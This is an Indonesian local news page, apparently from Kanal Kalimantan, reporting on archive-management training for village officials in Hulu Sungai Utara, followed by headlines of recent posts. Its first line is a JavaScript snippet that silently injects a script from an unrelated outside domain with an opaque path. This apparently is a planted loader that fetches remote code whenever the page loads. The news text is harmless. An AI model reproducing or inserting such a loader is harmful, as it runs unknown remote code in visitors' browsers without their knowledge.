(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dispersip HSU Gelar Bimtek Pengelolaan Arsip Bagi Apatur Desa


AMUNTAI, Puluhan aparatur desa terima bimbingan teknis pendataan dan penataan arsip desa se Kabupaten HSU dari Dinas Perpustakaan dan Kearsipan (Dispersip) HSU di balai Desa Sungai Karias Kecamatan Amuntai Tengah, Rabu (30/1).

Kegiatan yang dihadiri oleh para Kepala Desa, Sekretaris Desa, Ketua RT dari desa Tangga Ulin Hilir, Sungai Karias, Tambalangan, Tangga Ulin Hulu, dan Desa Hulu Pasar ini, para kepala desa dan aparat desa lainnya, guna memberikan data yang tepat sesuai laporan mengenai kegiatan yang telah dilakukan dalam sebuah arsip kegiatan.

Melalui arahan dan bimbingan bagaimana cara pengelolaan arsip desa yang tepat sesuai ketentuan, diharapkan para aparatur desa dapat memberikan laporan pertanggungjawaban selama kegiatan dan program yang pernah digulirkan.

Kabid Pembinaan dan Pengawasan Kearsipan Dispersip HSU H Karyanadi mengatakan, adapun tugas pokok Dinas Perpustakaan dan Kearsipan adalah memberikan bimbingan tentang pengelolaan arsip desa, agar pengelolaan arsip desa dapat terarah dan tepat.

Menurut Karyanadi, hampir sebagian besar desa masih memerlukan bimbingan untuk penataan arsip desa. Baik ituKepala desa, Sekretaris Desa, serta pejabat desa lainnya. “Melalui Peraturan daerah yang mengharuskan pemerintah desa untuk mempersiapkan dan menjamin ketersediaan arsip yang otentik dan terpercaya. Olehnya setiap tahun kami dari Dinas Perpustakaan dan Kearsipan Kabupaten HSU akan melakukan audit hasil arsip misalnya berupa buku laporan pertanggung jawaban yang telah dibuat oleh kepala desa,” terangnya.

Karyanadi juga berharap selalu adanya koordinasi antara kepala desa, sekretaris desa mengumumkan ke ketua RT. Untuk tugas yang lebih terarah dengan penyesuaian dengan RT masing-masing.

Maka itu, kegiatan ini haruslah berdasarkan bukti-bukti otentik. Sehingga pada tiap tanggal 31 Desember sudah ada laporan hasil rapat, kegiatan kemasyarakatan dan lain-lain yang diserahkan ke Pemerintah Daerah. “Jadi, dari arsip desa dapat kita lihat bagaimana kinerja desa setiap tahunnya.” Tandasnya. (dew)

Reporter : Dew
Editor : Chell

Desy Arfianty

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

2 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

6 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

6 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

6 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

8 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

10 jam ago

This website uses cookies.